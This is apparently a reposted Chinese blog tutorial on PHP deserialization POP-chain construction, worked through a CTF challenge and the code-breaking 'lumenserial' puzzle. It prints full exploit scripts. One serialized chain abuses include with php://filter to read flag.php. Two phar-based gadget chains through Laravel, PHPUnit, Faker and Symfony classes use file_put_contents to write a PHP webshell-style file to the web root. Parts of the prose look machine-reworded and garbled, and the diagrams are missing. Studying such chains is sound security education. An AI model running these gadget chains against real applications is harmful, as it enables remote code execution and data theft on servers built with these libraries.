php反序列化pop链构造,pop链构造知识点

php反序列化pop链构造知识点

随着对反序列化学习的不断深入,我们来学习一下pop链的构造。这个pop链对于我这种小白来说还是比较难理解的,再次写下这篇文章总结一下,加深自己对构造pop链的理解。同时也是提供想要入坑的小伙伴们一些理解。

pop链构造

一般的反序列化题目,存在漏洞或者能注入恶意代码的地方在魔术方法中,我们可以通过自动调用魔术方法来达到攻击效果。但是当注入点存在普通的类方法中,通过前面自动调用的方法就失效了,所以我们需要找到普通类与魔术方法之间的联系,理出一种逻辑思路,通过这种逻辑思路来构造一条pop链,从而达到攻击的目的。所以我们在做这类pop题目一定要紧盯魔术方法。

pop链简介

它是一种面向属性编程,常用于构造调用链的方法。在题目中的代码里找到一系列能调用的指令,并将这些指令整合成一条有逻辑的能达到恶意攻击效果的代码,就是pop链(个人理解,欢迎师傅们提出意见)在构造pop链中,魔术方法必不可少。下面将通过一个例题来说pop链是怎么构造的,以及具体构造的思路

上题目代码:

Welcome to index.php

<?php

//flag is in flag.php

//WTF IS THIS?

//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95

//And Crack It!

class Modifier {

protected $var;

public function append($value){

include($value);

}

public function __invoke(){

$this->append($this->var);

}

}

 

class Show{

public $source;

public $str;

public function __construct($file=’index.php’){

$this->source = $file;

echo ‘Welcome to ‘.$this->source.”<br>”;

}

public function __toString(){

return $this->str->source;

}

 

public function __wakeup(){

if(preg_match(“/gopher|http|file|ftp|https|dict|\.\./i”, $this->source)) {

echo “hacker”;

$this->source = “index.php”;

}

}

}

 

class Test{

public $p;

public function __construct(){

$this->p = array();

}

 

public function __get($key){

$function = $this->p;

return $function();

}

}

 

if(isset($_GET[‘pop’])){

@unserialize($_GET[‘pop’]);

}

else{

$a=new Show;

highlight_file(__FILE__);

}

构造思路

在构造调用链时,先找到调用链的头和尾。头一般都是能传参以及可以反序列化的地方,而尾部一般都是可以执行恶意代码的地方。审计这个题的代码,头是用get方式对pop传参,而尾部是include包含函数。到这里,我们应该都知道是要用php伪协议读取flag文件的源码。既然头和尾都找到了,也知道了攻击方法。那么接下来找到题目中的魔术方法。

__invoke() 当一个类被当作函数执行时调用此方法。

__construct 在创建对象时调用此方法

__toString() 在一个类被当作字符串处理时调用此方法

__wakeup() 当反序列化恢复成对象时调用此方法

__get() 当读取不可访问或不存在的属性的值会被调用

题中一共有这五种魔术方法。接着找出普通类与魔术方法之间的联系。

不难看出wakeup函数中有个preg_match函数,用于查找source中敏感的字符串,我们可以从这里开头,将source赋予一个show类,那么会自动触发toString函数,那么现在就要在tostring方法中延申链子,那么我们可以在totring方法中$this->str赋予test类,在test类读取source变量,(因为test类中没有source属性,则是访问了不可访问的属性)则会自动调用get魔术方法。可以发现get方法中有个函数调用,则我们可以将$this->p赋予Modifier类,会自动调用invoke方法,从而执行我们写入的php伪协议(将Modifer类中的var属性赋值为我们的恶意代码)

至此,我们构造pop链。

pop链讲解

<?php

class Modifier {

protected $var=’php://filter/read=convert.base64-encode/resource=flag.php’;

}

class Show{

public $source;

public $str;

function _construct(){

$this->source=$file;

}

}

class Test{

public $p;

}

$a = new show();

$b = new show();

$c = new test();

$d = new Modifier();

$a->source=$b;

$b->str=$c;

$c->p= $d;

echo urlencode(serialize($a));

?>

先把用到的类写出来,形成一个框架,再表明类中的变量。分别将用到的类进行实例化,这里为什么要new 两次show(看代码应该能看懂,第一次是实例化show类,第二次是将第一次实例化后的show类中的source=第二次实例化的show)

在我们进行序列化的时候尽量用url编码一下(在这个题中有protected修饰的属性,会有不可见字符)

php反序列化pop链如何寻找

文中以 code-breaking 中 lumenserial 为例子,训练PHP反序列化 POP链 的找寻,题型详细地址:https://code-breaking.com/puzzle/7/ 。

上篇 文章内容 ,我们都是根据 PendingBroadcast 类 __destruct 方法中的 $this->events->dispatch ,随后立即走 $this->events 目标的 __call 方法,文中将探寻立即走 $this->events 目标 dispatch 方法的 POP链 。

大家立即检索 ‘function dispatch(‘ ,发觉有一个 Dispatcher 类的 dispatchToQueue 方法中调用的 call_user_func 涵数2个参数都可控,并且 dispatch 中调用了 dispatchToQueue 方法,代码以下:

phppop

从代码中我们可以见到,要是传到的 $command 自变量是 ShouldQueue 类的案例就可以。根据检索,大家会发觉 ShouldQueue 是一个插口,那麼大家寻找其完成类就可以。立即检索 ‘implements ShouldQueue’ ,大家随意选择一个完成类就可以,这儿我采用 CallQueuedClosure 类,有关代码以下:

phppop1

如今 call_user_func 涵数的2个参数都可控,又变成了我们可以调用随意目标的随意方法了,那样大家有能够利用上一篇文章中的方法,调用 ReturnCallback 类的 invoke 方法,并传到 StaticInvocation 类的目标做为参数,产生全部详细的 POP链 ,利用 exp 以下:

namespace Illuminate\\Broadcasting{

class PendingBroadcast{

protected $events;

protected $event;

function __construct($events, $event){

$this->events=$events;

$this->event=$event;

}

}

class BroadcastEvent{

public $connection;

public function __construct($connection)

{

$this->connection=$connection;

}

}

};

namespace PHPUnit\\Framework\\MockObject\\Stub{

class ReturnCallback

{

private $callback;

public function __construct($callback)

{

$this->callback=$callback;

}

}

};

namespace PHPUnit\\Framework\\MockObject\\Invocation{

class StaticInvocation{

private $parameters;

public function __construct($parameters){

$this->parameters=$parameters;

}

}

};

namespace Illuminate\\Bus{

class Dispatcher{

protected $queueResolver;

public function __construct($queueResolver){

$this->queueResolver=$queueResolver;

}

}

};

namespace{

$function=’file_put_contents’;

$parameters=array(‘/var/www/html/11.php’,'<?php phpinfo();?>’);

$staticinvocation=new PHPUnit\\Framework\\MockObject\\Invocation\\StaticInvocation($parameters);

$broadcastevent=new Illuminate\\Broadcasting\\BroadcastEvent($staticinvocation);

$returncallback=new PHPUnit\\Framework\\MockObject\\Stub\\ReturnCallback($function);

$dispatcher=new Illuminate\\Bus\\Dispatcher(array($returncallback,’invoke’));

$pendingbroadcast=new Illuminate\\Broadcasting\\PendingBroadcast($dispatcher,$broadcastevent);

$o=$pendingbroadcast;

$filename=’poc.phar’;// 后缀名务必为phar,不然程序流程没法运作

file_exists($filename) ? unlink($filename) : null;

$phar=new Phar($filename);

$phar->startBuffering();

$phar->setStub(“GIF89a<?php __HALT_COMPILER(); ?>”);

$phar->setMetadata($o);

$phar->addFromString(“foo.txt”,”bar”);

$phar->stopBuffering();

};

?>

大家再根据下边这张图片,来梳理全部 POP链 的调用全过程。

phppop2

接下去这一 POP链 构思是参照 这篇 文章内容,找寻 POP链 的构思還是从 dispatch 方法下手。在上一篇文章中,大家发觉第一个 RCE 离开了 Generator 类的 __call 方法,这一方法做为 POP链 中的一部分极为功能强大,由于 call_user_func_array 方法中的2个参数彻底可控。大家要是寻找方法中存有形如 this->$object->$method($arg1,$arg2) ,且 $object 、 $method 、 $arg1 、 $arg2 四个参数均可控制,那麼就可以利用这一 Generator 类的 __call 方法,最后调用 call_user_func_array(‘file_put_contents’,array(‘1.php’,’xxx’)) 。

phppop3

大家再次检索 dispatch ,会发觉一个 TraceableEventDispatcher 类的 dispatch 方法,其代码以下:

phppop4

大家发觉其调用了 preProcess 方法,传到的 $eventName 自变量是可控的,大家跟踪该方法, 实际代码以下:

phppop5

能够见到大家得让 $this->dispatcher->hasListeners($eventName) 回到 true ,不然回到的空值对大家没用。随后 第12行 的 getListeners 方法回到的非常值得是一个数组,那样大家才可以进到 foreach 构造里。往往要进入 foreach 构造里,是由于我们在 第16行 看到了 $this->dispatcher->removeListener($eventName, $listener) ,构造形如: this->$object->$method($arg1,$arg2) ,前三个参数能够依照以下结构:

this->$object=new Faker\\Generator();

this->$object->$method=’removeListener’;

arg1=’/var/www/html/1.php’;

this->formatters[‘removeListener’]=’file_put_contents’;

这样子结构以后,实行到 $this->dispatcher->removeListener($eventName, $listener) 时,便会调用 Generator 类的 __call 方法,进而实行 call_user_func_array(‘file_put_contents’,array(‘/var/www/html/upload/1.php’,$listener)) ,因此 大家要是再保证 第四个参数 $listener 可控就可以。

如今大家再返回上边 第六行 的 if 句子,大家必须先绕开这一分辨标准。该代码会调用 Faker\\Generator 类的 hasListeners 方法,从而开启 __call 方法,那麼大家要是将 this->formatters[‘hasListeners’]设成 ‘strlen’ 就可以,以后便会调用 call_user_func_array(‘strlen’,’var/

www/html’) ,这样就可以绕过 if 语句。

j接着我们再回到 foreach 语句,继续搜索可利用的 getListeners 方法,看看是否可以返回一个可控数组(返回数组才能进入 foreach 语句)。通过搜索,我们会发现一个 Dispatcher 类的 getListeners 符合我们的要求,其具体代码如下:

phppop6

此时 $eventName 是我们传入的 ‘/var/www/html/upload/1.php’ ,很明显上面的代码中可以返回一个数组,而且数组的值完全可控。

刚才 foreach 中的 $this->dispatcher->getListeners() 调用的是 Faker\Generator 类的 getListeners 方法,现在我们要想办法让它调用 Dispatcher 类的 getListeners 方法。我们再看一下刚才 Generator 的调用流程图:

phppop7

可以看到只要我们将 this->providers 设置为 array(Dispatcher类) 即可,之后的调用就类似于 call_user_func_array(array(Dispatcher类,’getListeners’),’/var/www/html/1.php’) 。

现在基本完成了整个利用链,不过在执行到 $this->dispatcher->removeListener($eventName, $listener) 之前,还有一些额外的代码需要执行,我们要确保这些代码不会影响我们下面的方法,所以我们需要继续看 foreach 下面的代码(这里说的是 TraceableEventDispatcher 类 preProcess 方法中的 foreach )。

我们看到其调用了本类的 getListenerPriority 方法,具体代码如下:

phppop8

我们看到 第16行 ,返回 $this->dispatcher->getListenerPriority($eventName, $listener) ,简直完美。我们可以不用执行到刚才的 removeListener 方法,直接到这里就可以完成整个 POP链 了。最终的利用 exp 如下:

namespace Illuminate\Events{

class Dispatcher{

protected $listeners;

protected $wildcardsCache;

public function __construct($parameter,$function){

$this->listeners[$parameter[‘filename’]]=array($parameter[‘contents’]);

}

}

};

namespace Faker{

class Generator{

protected $providers;

protected $formatters;

public function __construct($providers,$formatters){

$this->providers=$providers;

$this->formatters=$formatters;

}

}

};

namespace Symfony\Component\EventDispatcher\Debug{

class TraceableEventDispatcher{

private $dispatcher;

public function __construct($dispatcher){

$this->dispatcher=$dispatcher;

}

}

};

namespace Illuminate\Broadcasting{

class PendingBroadcast{

protected $events;

protected $event;

public function __construct($events, $parameter){

$this->events=$events;

$this->event=$parameter[‘filename’];

}

}

}

namespace {

$function=’file_put_contents’;

$parameters=array(‘filename’=> ‘/var/www/html/1.php’,’contents’=> ‘<?php phpinfo();?>’);

$dispatcher=new \Illuminate\Events\Dispatcher($parameters,$function);

$generator=new \Faker\Generator([$dispatcher],[‘hasListeners’=>’strlen’,’getListenerPriority’=>$function]);

$traceableeventdispatcher=new Symfony\Component\EventDispatcher\Debug\TraceableEventDispatcher($generator);

$pendingbroadcast=new Illuminate\Broadcasting\PendingBroadcast($traceableeventdispatcher,$parameters);

$o=$pendingbroadcast;

$filename=’poc.phar’;// 后缀必须为phar,否则程序无法运行

file_exists($filename) ? unlink($filename) : null;

$phar=new Phar($filename);

$phar->startBuffering();

$phar->setStub(“GIF89a<?php __HALT_COMPILER(); “);

$phar->setMetadata($o);

$phar->addFromString(“foo.txt”,”bar”);

$phar->stopBuffering();

}

?>

我们再通过下面这张图片,来理清整个 POP链 的调用过程。

phppop9

Code Breaking挑战赛–lumenserial

本文来自投稿,不代表(钦钦技术栈)立场,如若转载,请注明出处:https://www.qin1qin.com/catagory/473/

(0)
上一篇 2022年 6月 26日 3:12:03
下一篇 2022年 6月 26日 7:32:57

软件定制开发公司

相关阅读

发表回复

登录后才能评论
通知:禁止投稿所有关于虚拟货币,币圈类相关文章,发现立即永久封锁账户ID!